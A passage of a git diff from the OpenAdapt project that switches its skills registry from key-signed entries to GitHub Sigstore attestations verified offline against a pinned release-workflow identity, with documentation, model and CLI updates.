`emit-mcp` refuse it until then, and on any other instance. The index and its archives carry a keyless Sigstore attestation from the registry release workflow, checked offline against a pinned identity, and expire and can't be rolled back; a shipped record check runs no code and reads only your binding | On main | Unit tests | `openadapt-flow skill`, [SKILLS_REGISTRY.md](packages/flow/docs/design/SKILLS_REGISTRY.md) | ## Recording, privacy and proof diff --git a/llms-full.txt b/llms-full.txt index 4fabf7a34..3175c1a0a 100644 --- a/llms-full.txt +++ b/llms-full.txt @@ -651,7 +651,7 @@ improvising or retrying when something is off. | Compile an agent's first verified run from a prompt (`compile-agent`), and a code-as-action authoring agent | On main ([#1277](https://github.com/OpenAdaptAI/OpenAdapt/pull/1277), [#1305](https://github.com/OpenAdaptAI/OpenAdapt/pull/1305)); the agent harness behind it runs on every backend, on main ([#1283](https://github.com/OpenAdaptAI/OpenAdapt/pull/1283)) | Synthetic | `compile-agent` | | Score harness optimizers (Harness², Meta-Harness) on GUI tasks with the record read-back as the reward, with full trace export | On main ([#1299](https://github.com/OpenAdaptAI/OpenAdapt/pull/1299), [#1300](https://github.com/OpenAdaptAI/OpenAdapt/pull/1300), [#1301](https://github.com/OpenAdaptAI/OpenAdapt/pull/1301)) | Synthetic (scripted proposer) | `integrations/harness2/` | | One scoreboard comparing the agent alone with OpenAdapt across tasks (correctness by read-back, cost, time, items per hour) | On main ([#1303](https://github.com/OpenAdaptAI/OpenAdapt/pull/1303)) | Synthetic and local OpenEMR and openIMIS test copies | `benchmark/scoreboard/` | -| Pull a skill from the registry (`pull app/task@version`) and run it only after qualifying it on your own instance: `pull` marks it and expires any certification it carries, `skill bind` records your addresses and the names of the variables that hold credentials (never their values), `skill qualify` runs its bundled record check there, and `run`, `replay`, `emit-skill` and `emit-mcp` refuse it until then, and on any other instance. The index and each entry are signed by a key shipped with the package, expire, and can't be rolled back; a shipped record check runs no code and reads only your binding | On main | Unit tests | `openadapt-flow skill`, [SKILLS_REGISTRY.md](https://github.com/OpenAdaptAI/OpenAdapt/blob/main/packages/flow/docs/design/SKILLS_REGISTRY.md) | +| Pull a skill from the registry (`pull app/task@version`) and run it only after qualifying it on your own instance: `pull` marks it and expires any certification it carries, `skill bind` records your addresses and the names of the variables that hold credentials (never their values), `skill qualify` runs its bundled record check there, and `run`, `replay`, `emit-skill` and `emit-mcp` refuse it until then, and on any other instance. The index and its archives carry a keyless Sigstore attestation from the registry release workflow, checked offline against a pinned identity, and expire and can't be rolled back; a shipped record check runs no code and reads only your binding | On main | Unit tests | `openadapt-flow skill`, [SKILLS_REGISTRY.md](https://github.com/OpenAdaptAI/OpenAdapt/blob/main/packages/flow/docs/design/SKILLS_REGISTRY.md) | ## Recording, privacy and proof diff --git a/packages/flow/docs/design/SKILLS_REGISTRY.md b/packages/flow/docs/design/SKILLS_REGISTRY.md index a716a1c92..1a8b9d362 100644 --- a/packages/flow/docs/design/SKILLS_REGISTRY.md +++ b/packages/flow/docs/design/SKILLS_REGISTRY.md @@ -1,7 +1,7 @@ # Verified skills registry Status: reviewed (coordinator, 2026-10-28). The first stage is implemented: -signed entries, provenance in the workflow, bind, qualify and the run +an attested index, provenance in the workflow, bind, qualify and the run refusal. It builds on `openadapt pull` (#1173, `openadapt_flow/registry.py`). ## What it is @@ -44,11 +44,12 @@ them can be listed, but `pull` labels it "no record check". ## Pull, bind, qualify, run -1. **Pull.** `openadapt pull openemr/register-patient` checks the entry's - signature against the keys shipped with the package, then downloads the +1. **Pull.** `openadapt pull openemr/register-patient` checks the index's + Sigstore attestation against the pinned release-workflow identity, then + downloads the files and checks each sha256 and the manifest digest, as today. It then: - - records the provenance (entry id, version, index, the signed entry's - sha256, the signer and the published digest) in the workflow itself, so + - records the provenance (entry id, version, index, the entry's sha256, + who attested it and the published digest) in the workflow itself, so the content digest covers it; - writes `skill.lock.json` beside the bundle: the entry id, version, index URL, file digests and the time; @@ -123,15 +124,22 @@ AGPL entry is published. ## Decisions (review, 2026-10-28) -- **Signatures.** Each entry is signed with the Seals signing (Ed25519ph). The - release workflow anchors the signed index in Rekor as Seals are (record - type `registry_index_sha256`), and `pull` verifies a published anchor - offline. The production key is a founder action: the release workflow - (`.github/workflows/release-registry.yml`) reads its seed only from the - REGISTRY_SIGNING_SEED secret of the protected `registry-signing` - environment, and only the public key is committed. No key whose seed is - public is trusted: tests pass their own keys. -- **Where it lives.** The signed index stays in `packages/flow/registry/`. +- **Attestation, not a key (revised 2026-10-28).** The release workflow + attests `index.json` and every archive with GitHub's keyless artifact + attestations (`actions/attest`, as the other releases do), in the + `release-identity` environment, the only job with `id-token: write`. + `pull` verifies the Sigstore bundle (`index.sigstore.json`) with the + `sigstore` package (the `registry` extra), offline, against a pinned + trusted root and a pinned identity: issuer + `https://token.actions.githubusercontent.com`, SAN + `https://github.com/OpenAdaptAI/OpenAdapt/.github/workflows/release-registry.yml@refs/tags/registry-*` + and that source repository. The statement must name the sha256 of the + index that was read and of the archive pulled. There is no signing key, + no entry signature and no separate Rekor anchor: the attestation is + already in Rekor. `pull --refresh-trust` updates the trusted root through + Sigstore's TUF repository. A local test signer stands in for an index you + are authoring, and only with `--allow-test-key` on the local disk. +- **Where it lives.** The attested index stays in `packages/flow/registry/`. Bundles are release assets on OpenAdaptAI/OpenAdapt under a `registry-*` tag, published by the reviewed release workflow. An entry's `archive` pins the asset's URL and sha256, and `pull` checks the archive, extracts only @@ -145,7 +153,7 @@ AGPL entry is published. `full_contract` pins its URL and sha256. `skill qualify` fetches it with the bearer token in `OPENADAPT_REGISTRY_TOKEN` (never a variable the entry names), only from an https host the package names - (`registry.PRIVATE_TIER_HOSTS`), size-capped, checks it against the signed + (`registry.PRIVATE_TIER_HOSTS`), size-capped, checks it against the attested entry, and keeps it beside the bundle, never in it. Without a token it qualifies with the public minimal contract and says so. `verifier_score` publishes only the counts and the private suite's sha256. The index validator and a repository test refuse any private-tier @@ -171,14 +179,13 @@ AGPL entry is published. - every `${NAME}` is a declared variable. Expansion then uses the binding alone, never `os.environ`. -- **The signature checks can't be switched off.** `--allow-unsigned` applies - only to an index on the local disk. There is no test-key flag, and the - shipped trust root holds no key whose seed is public. -- **Rollback and freeze.** The index as a whole is signed, with `issued_at`, +- **The checks can't be switched off for a remote index.** `--allow-unsigned` + and `--allow-test-key` apply only to an index on the local disk, and no + error suggests either. +- **Rollback and freeze.** The attested index carries `issued_at`, `expires_at` (30 days) and a `serial`. `pull` refuses an expired index and a serial lower than the highest seen for that index - (`$OPENADAPT_HOME/registry-state.json`). A remote index must have a Rekor - anchor. + (`$OPENADAPT_HOME/registry-state.json`). - **Stripping the provenance.** `pull` records the program's steps digest in `$OPENADAPT_HOME/pulled.json`. A bundle without provenance whose steps match is refused until it carries a current certification on a named @@ -196,5 +203,5 @@ AGPL entry is published. entry lists, or the `NOTICE`. - **Lower.** Public bundle files are an allowlist. Screen templates need the entry's `screens.data: synthetic` attestation. Versions order as semver (a - pre-release before its release). The signing job installs only - hash-pinned wheels. + pre-release before its release). The attest job checks its own + attestation using only hash-pinned wheels. diff --git a/packages/flow/openadapt_flow/ir.py b/packages/flow/openadapt_flow/ir.py index fbbb93c33..2c0d3340c 100644 --- a/packages/flow/openadapt_flow/ir.py +++ b/packages/flow/openadapt_flow/ir.py @@ -2729,8 +2729,10 @@ class RegistryOrigin(BaseModel): index_url: str = Field(max_length=2048) #: SHA-256 of the signed entry statement (``registry.entry_statement``). entry_sha256: str = Field(pattern="^[a-f0-9]{64}$") - #: The key that signed the entry, or None for an unsigned local index. - signed_by: Optional[str] = Field(default=None, max_length=128) + #: Who attested the index: the release workflow's certificate identity, + #: ``test:...`` for the local test signer, or None for a local index with + #: no attestation. + signed_by: Optional[str] = Field(default=None, max_length=256) #: The bundle's content digest as the registry published it. published_digest: str = Field(pattern="^[a-f0-9]{64}$") pulled_at: str diff --git a/packages/flow/openadapt_flow/registry.py b/packages/flow/openadapt_flow/registry.py index 4b22ae87e..c3c565d00 100644 --- a/packages/flow/openadapt_flow/registry.py +++ b/packages/flow/openadapt_flow/registry.py @@ -22,17 +22,17 @@ carries is expired: it runs only after ``openadapt-flow skill qualify`` on the user's own instance (:mod:`openadapt_flow.skills`). -A remote index must be signed as a whole (``issued_at``, ``expires_at`` and a -``serial`` are part of what is signed) and anchored in Rekor, and every entry -must be signed too, by a key shipped with the package. ``pull`` refuses an -expired index and one whose serial is lower than the highest it has seen for -that index (``$OPENADAPT_HOME/registry-state.json``). ``--allow-unsigned`` -applies only to an index on the local disk. +A remote index must carry a Sigstore attestation from the registry release +workflow (:mod:`openadapt_flow.registry_attest`) naming its exact sha256, and +every archive's. The attested index carries ``issued_at``, ``expires_at`` and +a ``serial``: ``pull`` refuses an expired index and one whose serial is lower +than the highest it has seen for that index +(``$OPENADAPT_HOME/registry-state.json``). ``--allow-unsigned`` and +``--allow-test-key`` apply only to an index on the local disk. """ from __future__ import annotations -import base64 import fnmatch import hashlib import json @@ -54,11 +54,13 @@ #: An archive's members, all together, and how many there may be. MAX_ARCHIVE_BYTES = 100 * 1024 * 1024 MAX_ARCHIVE_MEMBERS = 2000 +#: An index's attestation bundle, at most. +MAX_ATTESTATION_BYTES = 1024 * 1024 #: The private tier's record check, at most. MAX_FULL_CONTRACT_BYTES = 1024 * 1024 #: Hosts the private tier is fetched from; the bearer token goes nowhere else. PRIVATE_TIER_HOSTS = frozenset({"registry.openadapt.ai"}) -#: How long a signed index is valid when the release workflow signs it. +#: How long an index is valid from when the release workflow stamps it. INDEX_LIFETIME = timedelta(days=30) #: Clock skew allowed for an index's ``issued_at``. _CLOCK_SKEW = timedelta(minutes=5) @@ -68,18 +70,11 @@ class RegistryError(RuntimeError): """The index or a bundle failed a check. Nothing was written to ``out``.""" -# -- signatures --------------------------------------------------------------------- - -#: Domain separation for a signed entry (Ed25519ph over SHA-512, the form Rekor -#: checks for an Ed25519 key in a ``hashedrekord`` entry, so an entry can be -#: anchored as Seals are). +#: Domain separation for an entry's digest (``RegistryOrigin.entry_sha256``). _ENTRY_DOMAIN = b"openadapt.registry-entry/v1\n" -#: Domain separation for the signed index as a whole. -_INDEX_DOMAIN = b"openadapt.registry-index/v1\n" -#: The index fields the index signature makes fresh: when it was signed, when -#: it expires and its place in the sequence. +#: The index fields that make an attested index fresh: when it was stamped, +#: when it expires and its place in the sequence. INDEX_FRESHNESS_FIELDS = ("issued_at", "expires_at", "serial") -KEYS_FILE = Path(__file__).with_name("registry_keys.json") #: The files a public bundle may hold. Anything else is refused, so a #: private-tier file can't slip in under another spelling. @@ -119,7 +114,7 @@ def private_tier_file(rel: str) -> bool: def entry_statement(raw: dict[str, Any]) -> bytes: - """The bytes a signature covers: every field of the entry but the signature.""" + """The canonical bytes of an entry, the record its digest names.""" body = {k: v for k, v in raw.items() if k != "signature"} return _ENTRY_DOMAIN + json.dumps( @@ -131,80 +126,26 @@ def entry_sha256(raw: dict[str, Any]) -> str: return hashlib.sha256(entry_statement(raw)).hexdigest() -def _signature_block(statement: bytes, seed: bytes, key_id: str) -> dict[str, str]: - from openadapt_flow.ed25519ph import sign_prehashed - - signature = sign_prehashed(seed, hashlib.sha512(statement).digest()) - return {"key_id": key_id, "ed25519ph": base64.b64encode(signature).decode("ascii")} - - -def _signature_problem( - statement: bytes, signature: Any, keys: dict[str, bytes], what: str -) -> Optional[str]: - from openadapt_flow.ed25519ph import verify_prehashed - - if not isinstance(signature, dict): - return f"the {what} is not signed" - key = keys.get(str(signature.get("key_id"))) - if key is None: - return f"the {what} is signed by an unknown key {signature.get('key_id')!r}" - try: - sig = base64.b64decode(str(signature.get("ed25519ph", "")), validate=True) - except ValueError: - return f"the {what}'s signature is not base64" - if not verify_prehashed(key, hashlib.sha512(statement).digest(), sig): - return f"the {what}'s signature does not match its content" - return None - - -def sign_entry(raw: dict[str, Any], seed: bytes, key_id: str) -> dict[str, str]: - """A signature block for ``raw``, made with the 32-byte Ed25519 ``seed``.""" - - return _signature_block(entry_statement(raw), seed, key_id) - - -def index_statement(index: dict[str, Any]) -> bytes: - """What the index signature covers: the whole index but its signature. - - That includes every entry (with its own signature) and the freshness - fields, so an old index can't be replayed as new and an entry can't be - dropped from a signed index. - """ - - body = {k: v for k, v in index.items() if k not in ("signature", "anchor")} - return _INDEX_DOMAIN + json.dumps( - body, sort_keys=True, separators=(",", ":"), ensure_ascii=False - ).encode("utf-8") - - def _stamp(moment: datetime) -> str: return moment.astimezone(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") -def sign_index( +def stamp_index( index: dict[str, Any], - seed: bytes, - key_id: str, *, now: Optional[datetime] = None, lifetime: timedelta = INDEX_LIFETIME, ) -> dict[str, Any]: - """Sign every entry, stamp the freshness fields, then sign the index.""" + """Stamp ``issued_at``, ``expires_at`` and ``serial``, before attesting.""" now = now or datetime.now(timezone.utc) - for item in index["workflows"]: - if item.get("status") != "planned": - item.pop("signature", None) - item["signature"] = sign_entry(item, seed, key_id) - index.pop("signature", None) index.update( issued_at=_stamp(now), expires_at=_stamp(now + lifetime), - # Seconds since the epoch: it only ever grows from one signing to - # the next. + # Seconds since the epoch: it only ever grows from one release to the + # next. serial=int(now.timestamp()), ) - index["signature"] = _signature_block(index_statement(index), seed, key_id) return index @@ -217,16 +158,11 @@ def _parse_stamp(value: Any) -> Optional[datetime]: return None -def index_signature_problem( - index: dict[str, Any], keys: dict[str, bytes], *, now: Optional[datetime] = None +def index_freshness_problem( + index: dict[str, Any], *, now: Optional[datetime] = None ) -> Optional[str]: - """Why the index's own signature or freshness doesn't hold, or None.""" + """Why an attested index is stale or unstamped, or None.""" - problem = _signature_problem( - index_statement(index), index.get("signature"), keys, "index" - ) - if problem is not None: - return problem issued = _parse_stamp(index.get("issued_at")) expires = _parse_stamp(index.get("expires_at")) serial = index.get("serial") @@ -286,104 +222,6 @@ def record_serial(index_url: str, serial: int) -> None: tmp.replace(path) -#: The index's Rekor anchor, published beside it (``index.anchor.json``). -ANCHOR_NAME = "index.anchor.json" - - -def index_digest(index: dict[str, Any]) -> str: - """SHA-256 of the canonical index, the record its Rekor anchor names.""" - - body = {k: v for k, v in index.items() if k != "anchor"} - return hashlib.sha256( - json.dumps( - body, sort_keys=True, separators=(",", ":"), ensure_ascii=False - ).encode("utf-8") - ).hexdigest() - - -def anchor_index( - index_path: Path, - seed: bytes, - *, - log_keys: Optional[Any] = None, - submit: Optional[Any] = None, - env: Optional[Any] = None, -) -> Path: - """Anchor the signed index in Rekor with the registry key; write the anchor. - - Contacts the transparency log: the release workflow does this once per - registry release, in its protected environment. - """ - - from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey - - from openadapt_flow.seal_anchor import anchor_record, submit_hashedrekord - from openadapt_flow.seal_keys import SoftwareSigner - - signer = SoftwareSigner(Ed25519PrivateKey.from_private_bytes(seed), "file") - out = index_path.with_name(ANCHOR_NAME) - anchor_record( - {"registry_index_sha256": index_digest(json.loads(index_path.read_text()))}, - out, - signer, - log_keys=log_keys, - submit=submit or submit_hashedrekord, - env=env, - ) - return out - - -def index_anchor_problem( - index: dict[str, Any], - anchor: Any, - keys: dict[str, bytes], - *, - log_keys: Optional[Any] = None, -) -> Optional[str]: - """Why an index's Rekor anchor doesn't hold, or None when it does. - - The anchor must name this exact index and be signed by a registry key. - """ - - from openadapt_flow.seal_anchor import verify_record_anchor - - fields = {"registry_index_sha256": index_digest(index)} - reasons = set() - for public in keys.values(): - result = verify_record_anchor(fields, anchor, public, log_keys=log_keys) - if result.ok: - return None - reasons.add(str(result.reason)) - return ( - "the index's transparency-log anchor does not hold (" - + ", ".join(sorted(reasons) or ["no registry key"]) - + ")" - ) - - -def trusted_keys() -> dict[str, bytes]: - """The registry's public keys, shipped with the package (never fetched).""" - - data = json.loads(KEYS_FILE.read_text()) - keys = {} - for kid, spec in (data.get("keys") or {}).items(): - if isinstance(spec, str): - spec = {"public": spec} - if spec.get("test"): - # A key whose seed is public signs nothing a user should trust. - continue - keys[kid] = base64.b64decode(spec["public"]) - return keys - - -def entry_signature_problem( - raw: dict[str, Any], keys: dict[str, bytes] -) -> Optional[str]: - """Why an entry's signature doesn't hold, or None when it does.""" - - return _signature_problem(entry_statement(raw), raw.get("signature"), keys, "entry") - - @dataclass(frozen=True) class Entry: id: str @@ -611,17 +449,19 @@ def find(entries: list[Entry], workflow_id: str) -> Entry: raise RegistryError(f"no workflow {workflow_id!r} in the registry (known: {known})") -def _read_anchor(index_url: str) -> Optional[Any]: - """The index's published anchor; None only when a local index has none.""" +def _read_attestation(index_url: str) -> Optional[Any]: + """The index's attestation; None only when a local index has none.""" - location = _join(index_url, ANCHOR_NAME) + from openadapt_flow.registry_attest import ATTESTATION_NAME + + location = _join(index_url, ATTESTATION_NAME) if not _remote(index_url) and not Path(location).exists(): return None try: - return json.loads(_read(location)) + return json.loads(_read(location, limit=MAX_ATTESTATION_BYTES)) except (RegistryError, OSError, json.JSONDecodeError) as exc: raise RegistryError( - f"the index's transparency-log anchor ({ANCHOR_NAME}) can't be read: {exc}" + f"the index's attestation ({ATTESTATION_NAME}) can't be read: {exc}" ) from exc @@ -631,60 +471,78 @@ def pull( *, index_url: str = DEFAULT_INDEX_URL, overwrite: bool = False, - keys: Optional[dict[str, bytes]] = None, allow_unsigned: bool = False, - log_keys: Optional[Any] = None, + allow_test_key: bool = False, + identity: Optional[Any] = None, + trusted_root: Optional[Path] = None, now: Optional[datetime] = None, ) -> Path: """Download and verify a bundle into ``out`` (default ``./``). Before anything is downloaded: - - the index's own signature, its expiry and its serial (never lower than - the highest seen from this index) are checked; - - its Rekor anchor must hold, and a remote index must have one; - - the entry's signature is checked. + - the index's attestation (``index.sigstore.json``) must hold for the + pinned release-workflow identity and name the exact sha256 of the index + that was read; + - the attested index must be unexpired, with a serial never lower than + the highest seen from it. - Every key comes from the package, never from the index. ``allow_unsigned`` - takes an unsigned index and entry, and only from the local disk (an index - you are authoring); a signature that is present must always hold. + An archive must be one the attestation names too. ``allow_unsigned`` + takes an index with no attestation, and ``allow_test_key`` one attested by + the local test signer; both only from the local disk (an index you are + authoring). An attestation that is present must always hold. """ + from openadapt_flow import registry_attest + remote = _remote(index_url) if remote and not index_url.startswith("https://"): raise RegistryError(f"{index_url}: plain http is refused; use https") - if allow_unsigned and remote: - raise RegistryError( - "--allow-unsigned applies only to an index on the local disk, never " - f"to {index_url}" - ) + for flag, used in ( + ("--allow-unsigned", allow_unsigned), + ("--allow-test-key", allow_test_key), + ): + if used and remote: + raise RegistryError( + f"{flag} applies only to an index on the local disk, never to " + f"{index_url}" + ) local_root = None if remote else Path(index_url).resolve().parent + raw_index = _read(index_url) try: - index_data = json.loads(_read(index_url)) + index_data = json.loads(raw_index) except json.JSONDecodeError as exc: raise RegistryError(f"index is not JSON: {exc}") from exc entry = find(validate_index(index_data), workflow_id) if entry.status == "planned": raise RegistryError(f"{workflow_id} is planned and has no bundle yet") - trusted = trusted_keys() if keys is None else keys - index_signed = index_data.get("signature") is not None - if index_signed or not allow_unsigned: - problem = index_signature_problem(index_data, trusted, now=now) + attestation = _read_attestation(index_url) + attested_by: Optional[str] = None + subjects: Optional[dict[str, str]] = None + if attestation is None: + if remote or not allow_unsigned: + raise RegistryError( + f"the index has no attestation ({registry_attest.ATTESTATION_NAME})" + ) + else: + try: + attested_by, subjects = registry_attest.verify( + attestation, + allow_test_key=allow_test_key and not remote, + identity=identity or registry_attest.REGISTRY_IDENTITY, + trusted_root=trusted_root, + ) + except registry_attest.AttestationError as exc: + raise RegistryError(str(exc)) from exc + if ( + subjects.get(registry_attest.INDEX_SUBJECT) + != hashlib.sha256(raw_index).hexdigest() + ): + raise RegistryError("the attestation does not name this index") + problem = index_freshness_problem(index_data, now=now) if problem is None: problem = serial_problem(index_url, index_data["serial"]) if problem is not None: raise RegistryError(problem) - anchor = _read_anchor(index_url) - if anchor is None and remote: - raise RegistryError(f"the index has no transparency-log anchor ({ANCHOR_NAME})") - if anchor is not None: - anchored = index_anchor_problem(index_data, anchor, trusted, log_keys=log_keys) - if anchored is not None: - raise RegistryError(anchored) - problem = entry_signature_problem(entry.raw, trusted) - if problem is not None and not ( - allow_unsigned and entry.raw.get("signature") is None - ): - raise RegistryError(f"{entry.ref}: {problem}") dest = Path(out) if out else Path(entry.id.split("/", 1)[1]) if dest.exists() and not overwrite: raise RegistryError(f"{dest} exists; pass --force to replace it") @@ -692,6 +550,12 @@ def pull( archive = entry.raw.get("archive") with tempfile.TemporaryDirectory() as tmp: stage = Path(tmp) / "bundle" + if ( + archive + and subjects is not None + and archive.get("sha256") not in set(subjects.values()) + ): + raise RegistryError("the attestation does not name this entry's archive") unpacked = ( _unpack_archive(archive, expected=set(entry.files), local_root=local_root) if archive @@ -723,14 +587,14 @@ def pull( # Mark it as pulled and expire any certification it carries: a # registry certification is about our test copy, never the user's. - mark_pulled(stage, entry, index_url=index_url) + mark_pulled(stage, entry, index_url=index_url, attested_by=attested_by) if unpacked is not None and NOTICE_NAME in unpacked: (stage / NOTICE_NAME).write_bytes(unpacked[NOTICE_NAME]) if dest.exists(): shutil.rmtree(dest) dest.parent.mkdir(parents=True, exist_ok=True) shutil.copytree(stage, dest) - if index_signed: + if subjects is not None: record_serial(index_url, index_data["serial"]) return dest @@ -871,6 +735,19 @@ def cmd_pull(args: Any) -> int: import sys try: + if getattr(args, "refresh_trust", False): + from openadapt_flow import registry_attest + + try: + path = registry_attest.refresh_trusted_root() + except Exception as exc: # noqa: BLE001 - report any TUF failure + print( + f"pull: refreshing the Sigstore trusted root failed: {exc}", + file=sys.stderr, + ) + return 1 + print(f"Sigstore trusted root refreshed: {path}") + return 0 if args.list or not args.workflow: for entry in load_index(args.index): print(_describe(entry)) @@ -882,6 +759,7 @@ def cmd_pull(args: Any) -> int: index_url=args.index, overwrite=args.force, allow_unsigned=getattr(args, "allow_unsigned", False), + allow_test_key=getattr(args, "allow_test_key", False), ) except RegistryError as exc: print(f"pull: {exc}", file=sys.stderr) @@ -923,7 +801,19 @@ def add_parser(sub: Any) -> None: p.add_argument( "--allow-unsigned", action="store_true", - help="Take an unsigned index on the local disk (one you are authoring); " - "refused for a remote index", + help="Take an index with no attestation from the local disk (one you are " + "authoring); refused for a remote index", + ) + p.add_argument( + "--allow-test-key", + action="store_true", + help="Take an index attested by the local test signer, from the local disk " + "only; refused for a remote index", + ) + p.add_argument( + "--refresh-trust", + action="store_true", + help="Fetch Sigstore's current trusted root through its TUF repository " + "(into $OPENADAPT_HOME) and exit", ) p.set_defaults(func=cmd_pull) diff --git a/packages/flow/openadapt_flow/registry_attest.py b/packages/flow/openadapt_flow/registry_attest.py new file mode 100644 index 000000000..26252a659 --- /dev/null +++ b/packages/flow/openadapt_flow/registry_attest.py @@ -0,0 +1,305 @@ +"""The skills registry's attestation: who published an index, checked offline. + +The registry release workflow (``.github/workflows/release-registry.yml``) +attests ``index.json`` and every bundle archive with GitHub's keyless artifact +attestations (``actions/attest``): Sigstore signs an in-toto statement naming +each file's sha256 with a short-lived certificate for the workflow's identity, +and records it in Rekor. The bundle is published beside the index as +``index.sigstore.json``. + +``pull`` verifies that bundle with the ``sigstore`` package (the ``registry`` +extra) against a pinned identity, never one the index names: + +- the issuer is GitHub Actions (``token.actions.githubusercontent.com``); +- the certificate's SAN is ``release-registry.yml`` on a ``registry-*`` tag + of OpenAdaptAI/OpenAdapt, and its source repository is that repository; +- the statement names the exact sha256 of the index that was read. + +Verification is offline. It uses the Sigstore trusted root shipped with the +package (``registry_trusted_root.json``), or the one +``openadapt-flow pull --refresh-trust`` last fetched through Sigstore's TUF +repository into ``$OPENADAPT_HOME/registry/trusted_root.json``. + +For a local index you are authoring, a local test signer stands in for the +workflow (:func:`sign_test`). Its seed is public on purpose, so ``pull`` +accepts it only with ``--allow-test-key``, and only for an index on the local +disk. +""" + +from __future__ import annotations + +import base64 +import hashlib +import json +import os +import re +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Mapping, Optional + +#: The attestation bundle, published beside ``index.json``. +ATTESTATION_NAME = "index.sigstore.json" +#: The index's subject name in the statement (``actions/attest`` names a +#: subject by its file name). +INDEX_SUBJECT = "index.json" +#: The pinned Sigstore trusted root (Fulcio, Rekor and timestamp keys). +TRUSTED_ROOT_FILE = Path(__file__).with_name("registry_trusted_root.json") + +IN_TOTO_PAYLOAD_TYPE = "application/vnd.in-toto+json" +TEST_MEDIA_TYPE = "application/vnd.openadapt.registry-test-attestation+json" +TEST_KEY_ID = "openadapt-registry-test" +#: The local test signer's seed. Public on purpose: it signs nothing anyone +#: else should trust, and ``pull`` takes it only for a local index with +#: ``--allow-test-key``. +TEST_KEY_SEED = hashlib.sha256( + b"openadapt-registry local test signer: public, local indexes only" +).digest() + + +class AttestationError(RuntimeError): + """The attestation doesn't hold, or can't be checked here.""" + + +@dataclass(frozen=True) +class Identity: + """The workflow identity an attestation must carry.""" + + issuer: str + san: re.Pattern[str] + source_repository_uri: str + + +#: The only identity that may publish the registry. +REGISTRY_IDENTITY = Identity( + issuer="https://token.actions.githubusercontent.com", + san=re.compile( + r"^https://github\.com/OpenAdaptAI/OpenAdapt/\.github/workflows/" + r"release-registry\.yml@refs/tags/registry-[0-9A-Za-z][0-9A-Za-z.-]{0,40}$" + ), + source_repository_uri="https://github.com/OpenAdaptAI/OpenAdapt", +) + + +def _home() -> Path: + return Path(os.environ.get("OPENADAPT_HOME", Path.home() / ".openadapt")) + + +def refreshed_trusted_root() -> Path: + return _home() / "registry" / "trusted_root.json" + + +def trusted_root_path() -> Path: + """The trusted root to verify with: the refreshed copy, else the pinned one.""" + + refreshed = refreshed_trusted_root() + return refreshed if refreshed.is_file() else TRUSTED_ROOT_FILE + + +def _sigstore() -> Any: + try: + import sigstore # noqa: F401 + except ImportError as exc: + raise AttestationError( + "verifying the registry needs the sigstore package: " + "pip install 'openadapt-flow[registry]'" + ) from exc + return sigstore + + +def refresh_trusted_root() -> Path: + """Fetch Sigstore's current trusted root through its TUF repository. + + TUF checks the update against the root of trust in the ``sigstore`` + package. The result is written to ``$OPENADAPT_HOME`` and used from then + on; the pinned copy in the package is left as it is. + """ + + _sigstore() + from sigstore.models import DEFAULT_TUF_URL, TrustUpdater + + source = Path(TrustUpdater(DEFAULT_TUF_URL, offline=False).get_trusted_root_path()) + data = source.read_bytes() + _load_trusted_root_bytes(data) # refuse anything sigstore can't load + out = refreshed_trusted_root() + out.parent.mkdir(parents=True, exist_ok=True) + tmp = out.with_suffix(".tmp") + tmp.write_bytes(data) + tmp.replace(out) + return out + + +def _load_trusted_root_bytes(data: bytes) -> Any: + import tempfile + + from sigstore.models import TrustedRoot + + with tempfile.NamedTemporaryFile(suffix=".json") as handle: + handle.write(data) + handle.flush() + return TrustedRoot.from_file(handle.name) + + +def statement_subjects(payload: bytes) -> dict[str, str]: + """``{name: sha256}`` for every subject of an in-toto statement.""" + + try: + statement = json.loads(payload) + except json.JSONDecodeError as exc: + raise AttestationError(f"the attested statement is not JSON: {exc}") from exc + if not isinstance(statement, dict) or statement.get("_type") not in ( + "https://in-toto.io/Statement/v1", + "https://in-toto.io/Statement/v0.1", + ): + raise AttestationError("the attestation is not an in-toto statement") + subjects: dict[str, str] = {} + for subject in statement.get("subject") or []: + name = subject.get("name") if isinstance(subject, dict) else None + digest = (subject.get("digest") or {}).get("sha256") if name else None + if not isinstance(name, str) or not isinstance(digest, str): + raise AttestationError("an attested subject has no name or sha256") + if subjects.get(name, digest) != digest: + raise AttestationError(f"the attestation names {name!r} twice") + subjects[name] = digest + if not subjects: + raise AttestationError("the attestation names no subject") + return subjects + + +def _pinned_policy(identity: Identity) -> Any: + from cryptography import x509 + from sigstore.errors import VerificationError + from sigstore.verify import policy + + class PinnedIdentity(policy.VerificationPolicy): # type: ignore[misc] + def verify(self, cert: Any) -> None: + policy.OIDCIssuerV2(identity.issuer).verify(cert) + policy.OIDCSourceRepositoryURI(identity.source_repository_uri).verify(cert) + try: + san = cert.extensions.get_extension_for_class( + x509.SubjectAlternativeName + ).value + except x509.ExtensionNotFound as exc: + raise VerificationError("the certificate has no SAN") from exc + uris = san.get_values_for_type(x509.UniformResourceIdentifier) + if len(uris) != 1 or not identity.san.match(uris[0]): + raise VerificationError( + f"the certificate's identity {uris} is not the pinned workflow" + ) + + return PinnedIdentity() + + +def verify_sigstore( + bundle: Mapping[str, Any], + *, + identity: Identity = REGISTRY_IDENTITY, + trusted_root: Optional[Path] = None, +) -> tuple[str, dict[str, str]]: + """Verify a Sigstore bundle offline; returns (the SAN, its subjects).""" + + _sigstore() + from cryptography import x509 + from sigstore.errors import Error as SigstoreError + from sigstore.models import Bundle, TrustedRoot + from sigstore.verify import Verifier + + try: + parsed = Bundle.from_json(json.dumps(bundle)) + root = TrustedRoot.from_file(str(trusted_root or trusted_root_path())) + payload_type, payload = Verifier(trusted_root=root).verify_dsse( + parsed, _pinned_policy(identity) + ) + except SigstoreError as exc: + raise AttestationError( + f"the Sigstore attestation does not hold: {exc}" + ) from exc + if payload_type != IN_TOTO_PAYLOAD_TYPE: + raise AttestationError(f"the attestation's payload is {payload_type!r}") + san = parsed.signing_certificate.extensions.get_extension_for_class( + x509.SubjectAlternativeName + ).value.get_values_for_type(x509.UniformResourceIdentifier)[0] + return str(san), statement_subjects(payload) + + +def _pae(payload_type: str, payload: bytes) -> bytes: + """DSSE's pre-authentication encoding.""" + + kind = payload_type.encode("utf-8") + return b"DSSEv1 %d %b %d %b" % (len(kind), kind, len(payload), payload) + + +def sign_test( + subjects: Mapping[str, str], seed: bytes = TEST_KEY_SEED +) -> dict[str, Any]: + """A test attestation naming ``subjects``, for a local index.""" + + from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey + + statement = { + "_type": "https://in-toto.io/Statement/v1", + 